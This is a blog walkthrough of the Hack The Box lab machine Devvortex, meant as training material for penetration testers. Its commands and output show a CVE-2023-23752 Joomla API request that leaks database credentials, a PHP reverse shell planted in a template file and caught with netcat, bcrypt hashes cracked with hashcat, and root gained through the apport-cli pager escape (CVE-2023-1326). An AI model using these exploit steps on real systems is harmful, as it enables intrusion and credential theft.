Hack The Box Intro to Red Team Track

Hack The Box: Devvortex Walkthrough

Author
Dulanjana Fernando
Sep 13, 2026  •  9 min read  •  405 views
Hack The Box: Devvortex Walkthrough

Devvortex is an Easy difficulty HackTheBox machine that hosts a vulnerable Joomla application. Initial foothold involves exploiting an unauthenticated JoomlaAPI information disclosure vulnerability (CVE-2023-23752) to leak database credentials, gaining administrative dashboard access to edit a template file and execute a reverse shell as www-data. Lateral movement is achieved by dumping and cracking the password hash for user logan from the MySQL database to log in via SSH. Privilege escalation to root is accomplished by triggering a terminal pager breakout through a sudo apport-cli crash report inspection (CVE-2023-1326).

1. Initial Enumeration and Service Discovery

As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap -sC -sV -O devvortex.htb -oN nmap_scan to scan the open ports and services.

nmap -sC -sV -O devvortex.htb -oN nmap_scan
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-12 22:33 -0400
Nmap scan report for devvortex.htb (10.129.229.146)
Host is up (0.56s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DevVortex
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.06 seconds

The target machine had only ports 22 and 80 open, and port 80 hosted a simple website. I started a directory scan to try to find any hidden directories or files, but I was not able to find any hidden directories or files.

gobuster dir -u http://devvortex.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x .html,.md,.env,.php,.git
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://devvortex.htb
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              html,md,env,php,git
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
images               (Status: 301) [Size: 178] [--> http://devvortex.htb/images/]
index.html           (Status: 200) [Size: 18048]
about.html           (Status: 200) [Size: 7388]
contact.html         (Status: 200) [Size: 8884]
css                  (Status: 301) [Size: 178] [--> http://devvortex.htb/css/]
do.html              (Status: 200) [Size: 7603]
portfolio.html       (Status: 200) [Size: 6845]
js                   (Status: 301) [Size: 178] [--> http://devvortex.htb/js/]

1.1 Subdomain Discovery and Directory Fuzzing

Since I was not able to find any hidden directories and files on port 80, I started a scan to find any subdomains, and I was able to find dev.devvortex.htb subdomain.

gobuster vhost -u http://devvortex.htb -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt --append-domain
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://devvortex.htb
[+] Method:                    GET
[+] Threads:                   10
[+] Wordlist:                  /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent:                gobuster/3.8.2
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
dev.devvortex.htb Status: 200 [Size: 23221]

dev.devvortex.htb subdomain also hosts a website, but it seems to be a new version of the existing website that is still under development. I decided to run another directory scan on the dev.devvortex.htb subdomain, and I was able to find some interesting directories.

gobuster dir -u http://dev.devvortex.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x .html,.md,.env,.php,.git
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.devvortex.htb
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              html,md,env,php,git
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
# license, visit http://creativecommons.org/licenses/by-sa/3.0/.html (Status: 403) [Size: 162]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/.md (Status: 403) [Size: 162]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/.env (Status: 403) [Size: 162]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/.git (Status: 403) [Size: 162]
images               (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/images/]
index.php            (Status: 200) [Size: 23221]
home                 (Status: 200) [Size: 23221]
media                (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/media/]
templates            (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/templates/]
modules              (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/modules/]
plugins              (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/plugins/]
includes             (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/includes/]
language             (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/language/]
components           (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/components/]
api                  (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/api/]
cache                (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/cache/]
libraries            (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/libraries/]
tmp                  (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/tmp/]
layouts              (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/layouts/]
administrator        (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/administrator/]
configuration.php    (Status: 200) [Size: 0]
cli                  (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/cli/]

http://dev.devvortex.htb/administrator/ has a Joomla Administrator login, but I do not have credentials.

Article Image
Joomla Administrator Login Form

http://dev.devvortex.htb/api/ endpoint is returning a 404 JSON response.

# API Response
{"errors":[{"title":"Resource not found","code":404}]}

This means the API endpoint should be working to a certain extent. By inspecting the response headers, I discovered that the API endpoint is using JoomlaAPI version 1.0.

Article Image
JoomlaAPI Version Disclosure

2. Information Disclosure & Initial Access

A quick Google search revealed that JoomlaAPI version 1.0 has a known CVE-2023-23752: Joomla Authentication Bypass Vulnerability.

2.1 API Exploitation (CVE-2023-23752)

CVE-2023-23752: Joomla Authentication Bypass Vulnerability allows unauthenticated users to access sensitive information about Joomla Installation. By exploiting this vulnerability, I was able to extract some credentials.

curl -v http://dev.devvortex.htb/api/index.php/v1/config/application?public=true
* Host dev.devvortex.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.229.146
*   Trying 10.129.229.146:80...
* Established connection to dev.devvortex.htb (10.129.229.146 port 80) from 10.10.16.36 port 40316 
* using HTTP/1.x
> GET /api/index.php/v1/config/application?public=true HTTP/1.1
> Host: dev.devvortex.htb
> User-Agent: curl/8.20.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Sat, 12 Sep 2026 03:07:32 GMT
< Content-Type: application/vnd.api+json; charset=utf-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Sat, 12 Sep 2026 03:07:32 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< 
{"links":{"self":"http:\/\/dev.devvortex.htb\/api\/index.php\/v1\/config\/application?public=true","next":"http:\/\/dev.devvortex.htb\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http:\/\/dev.devvortex.htb\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"224","attributes":{"offline":false,"id":224}},{"type":"application","id":"224","attributes":{"offline_message":"This site is down for maintenance.
Please check back again soon.","id":224}},{"type":"application","id":"224","attributes":{"display_offline_message":1,"id":224}},{"type":"application","id":"224","attributes":{"offline_image":"","id":224}},{"type":"application","id":"224","attributes":{"sitename":"Development","id":224}},{"type":"application","id":"224","attributes":{"editor":"tinymce","id":224}},{"type":"application","id":"224","attributes":{"captcha":"0","id":224}},{"type":"application","id":"224","attributes"* Connection #0 to host dev.devvortex.htb:80 left intact :{"list_limit":20,"id":224}},{"type":"application","id":"224","attributes":{"access":1,"id":224}},{"type":"application","id":"224","attributes":{"debug":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang_const":true,"id":224}},{"type":"application","id":"224","attributes":{"dbtype":"mysqli","id":224}},{"type":"application","id":"224","attributes":{"host":"localhost","id":224}},{"type":"application","id":"224","attributes":{"user":"lewis","id":224}},{"type":"application","id":"224","attributes":{"password":"P4ntherg0t1n5r3c0n##","id":224}},{"type":"application","id":"224","attributes":{"db":"joomla","id":224}},{"type":"application","id":"224","attributes":{"dbprefix":"sd4fg_","id":224}},{"type":"application","id":"224","attributes":{"dbencryption":0,"id":224}},{"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":224}}],"meta":{"total-pages":4}}

The exposed credentials seem to be database credentials, but I decided to use the credentials against the administrator login form because users tend to reuse credentials.

# Exposed Information
"user":"lewis"
"password":"P4ntherg0t1n5r3c0n##"

"db":"joomla"
"dbprefix":"sd4fg_"

2.2 Dashboard Access & Shell Capture

Credentials allowed me to log in to the administrator dashboard. The Joomla version used in the administrator dashboard is 4.2.6, and there are two users: "lewis" and "logan".

Article Image
Administrator Dashboard

Since user "lewis" has access to install Joomla extensions, I tried to create a malicious extension and install it to get RCE, but it failed.

Looking through the System Configuration, I noticed that user "lewis" has access to view site templates. Even though I was unable to update the index.php file, I was able to edit the error.php file.

Article Image
Updating error.php file

After updating the error.php file, I was able to trigger a 404 error by going to http://dev.devvortex.htb/projectNullByte URL, and I was able to confirm the code execution.

Article Image
Confirmation of Code Execution

My next step was to update the error.php file with a PHP reverse shell script from pentestmonkey and set up a listener to catch the reverse shell.

# Reverse Shell as www-data
└─$ nc -nvlp 4444                              
listening on [any] 4444 ...
connect to [10.10.16.36] from (UNKNOWN) [10.129.229.146] 49766
Linux devvortex 5.4.0-167-generic #184-Ubuntu SMP Tue Oct 31 09:21:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
 05:45:47 up  3:08,  0 users,  load average: 0.02, 0.03, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

3. Database Enumeration & User Flag

The next goal is to enumerate the target machine and find a way to escalate privileges.

3.1 Credential Extraction

There is only one user on the target machine, and the user's name is logan.
The administrator dashboard also has a user named logan.

Article Image
Users from the Joomla Administrator Dashboard

I already have the database credentials as it was disclosed in CVE-2023-23752: Joomla Authentication Bypass Vulnerability. I will be able to log in and extract the password hash for logan from the database.

# Password extraction from database
www-data@devvortex:/tmp$ mysql -u lewis -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 149790
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use joomla;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables
    -> ;
+-------------------------------+
| Tables_in_joomla              |
+-------------------------------+
| sd4fg_action_log_config       |
| sd4fg_action_logs             |
| sd4fg_action_logs_extensions  |
| sd4fg_action_logs_users       |
| sd4fg_workflows               |
+-------------------------------+
71 rows in set (0.01 sec)

mysql> select * from sd4fg_users;
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
| id  | name       | username | email               | password                                                     | block | sendEmail | registerDate        | lastvisitDate       | activation | params                                                                                                                                                  | lastResetTime | resetCount | otpKey | otep | requireReset | authProvider |
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
| 649 | lewis      | lewis    | lewis@devvortex.htb | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u |     0 |         1 | 2023-09-25 16:44:24 | 2026-09-13 04:40:21 | 0          |                                                                                                                                                         | NULL          |          0 |        |      |            0 |              |
| 650 | logan paul | logan    | logan@devvortex.htb | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 |     0 |         0 | 2023-09-26 19:15:42 | NULL                |            | {"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"} | NULL          |          0 |        |      |            0 |              |
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
2 rows in set (0.00 sec)

3.2 Hash Cracking & SSH Pivot

I was able to use hashcat to crack the password.

hashcat -m 3200 -a 0 hash /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 7.1+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 21.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c

$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12:tequieromucho

                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy...tkIj12
Time.Started.....: Sun Sep 13 01:49:40 2026 (15 secs)
Time.Estimated...: Sun Sep 13 01:49:55 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-72 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:       96 H/s (10.93ms) @ Accel:6 Loops:32 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1404/14344385 (0.01%)
Rejected.........: 0/1404 (0.00%)
Restore.Point....: 1368/14344385 (0.01%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:992-1024
Candidate.Engine.: Device Generator
Candidates.#01...: lacoste -> harry
Hardware.Mon.#01.: Util: 74%

Started: Sun Sep 13 01:49:35 2026
Stopped: Sun Sep 13 01:49:56 2026

I was able to use the cracked password to SSH into the target machine as logan and retrieve the user flag.

ssh logan@devvortex.htb
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
logan@devvortex.htb's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-167-generic x86_64)

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Feb 26 14:44:38 2024 from 10.10.14.23
logan@devvortex:~$ cat user.txt 

4. Privilege Escalation - Apport-CLI Pager Breakout & Root Flag

The next goal is to find a way to escalate privileges as root.

4.1 Sudo Audit

Running sudo -l revealed that Logan can run /usr/bin/apport-cli with sudo privileges.

sudo -l
[sudo] password for logan: 
Matching Defaults entries for logan on devvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli

By running sudo /usr/bin/apport-cli --version, I discovered that the apport-cli version is 2.20.11, which has a known vulnerability, CVE-2023-1326, privilege escalation using Pager escape.
CVE-2023-1326 allows local attackers to bypass restrictions via a less pager terminal to break out if sudo is configured.

4.2 Crash File Generation

Based on CVE-2023-1326-PoC, I should be able to break out to a root shell by pointing a crash file to the apport-cli service.

Since there are no crash files on the target machine, I need to create a crash file manually.

# Creating a crash file
logan@devvortex:~$ ls -l /var/crash/
total 0
logan@devvortex:~$ sleep 500 &
[1] 90307
logan@devvortex:~$ kill -11 90307
logan@devvortex:~$ ls -l /var/crash/
total 32
-rw-r----- 1 logan logan 30277 Sep 13 06:28 _usr_bin_sleep.1000.crash
[1]+  Segmentation fault      (core dumped) sleep 500
logan@devvortex:~$ 

4.3 Pager Escape (CVE-2023-1326) & Root Flag

I was able to break out to a root shell by pointing a crash file to /usr/bin/apport-cli and selecting the option V to view the report. This triggers the script to open the crash file using a less pager, and by entering !/bin/bash at the end, I was able to break out to a root shell and retrieve the root flag.

sudo /usr/bin/apport-cli -c /var/crash/_usr_bin_sleep.1000.crash
[sudo] password for logan: 

*** Send problem report to the developers?

After the problem report has been sent, please fill out the form in the
automatically opened web browser.

What would you like to do? Your options are:
  S: Send report (30.0 KB)
  V: View report
  K: Keep report file for sending later or copying to somewhere else
  I: Cancel and ignore future crashes of this program version
  C: Cancel
Please choose (S/V/K/I/C): V

*** Collecting problem information

The collected information can be sent to the developers to improve the
application. This might take a few minutes.
......................................................................................................................................................................
.....................................................................................................................................................................................................................................................ERROR: Cannot update /var/crash/_usr_bin_sleep.1000.crash: [Errno 13] Permission denied: '/var/crash/_usr_bin_sleep.1000.crash'
.....................
root@devvortex:/home/logan# whoami
root
root@devvortex:/home/logan# cat /root/root.txt

Congrats! We found both flags!

HTB Machine Completion

Tags:
Intro to Red Team Track Joomla apport-cli Pager Breakout

You might also like...

Hack The Box: Sau Walkthrough
Hack The Box Intro to Red Team Track
Hack The Box: Sau Walkthrough

Sau is an Easy difficulty HackTheBox machine that hosts a vulnerable version of ...

Read More
Hack The Box: Jerry Walkthrough
Hack The Box Intro to Red Team Track
Hack The Box: Jerry Walkthrough

Jerry is a HackTheBox Easy difficulty machine that hosts an Apache Tomcat/7.0.88...

Read More
Hack The Box: Silentium Walkthrough
Hack The Box SSH
Hack The Box: Silentium Walkthrough

Silentium is a HackTheBox Easy difficulty machine that hosts a Flowise AI stagin...

Read More

Stay Updated

Get notified when new walkthroughs and security articles are published.